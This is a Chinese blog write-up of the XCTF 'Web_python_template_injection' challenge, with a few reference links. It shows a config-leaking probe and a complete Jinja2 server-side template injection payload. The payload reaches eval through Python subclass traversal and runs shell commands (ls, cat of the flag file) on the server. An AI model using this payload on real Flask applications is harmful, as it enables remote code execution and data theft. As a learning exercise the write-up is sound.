XCTF---Web_python_template_injection

python template injection

(对于出学的我来说)python模板注入不熟。所以花了一天的时间看了不少文章,也慢慢了解了Flask/Jinja2.输入后显示(和xss是不是很像)在这里插入图片描述
之后输入**{{config.items()}}**是可以爆出一些内容的在这里插入图片描述
这里有些内容较深就不细究了。之后有偿试爆了一下类(看了文章,师傅说<type ‘file’>类,它是文件系统访问的关键,但是还没找到方法,所以 继续了一篇在这里插入图片描述

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}   
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
 
 
//然后cat 就可以
![{% for c in \[\].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b\['eval'\]('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}](https://img-blog.csdnimg.cn/20200528222610489.png)
//我们可以改里面的命令

输入之后在这里插入图片描述
cat一下
在这里插入图片描述

暂时用了这种方法,其他还待挖掘,学习快乐。

这里是师傅们的文章(可以读读):
https://xz.aliyun.com/t/2908
https://blog.csdn.net/iamsongyu/article/details/85861811
https://www.freebuf.com/articles/web/98619.html
https://www.freebuf.com/articles/web/98928.html
https://drops.org.cn/Python/flask-jinja2-ssti.html
https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值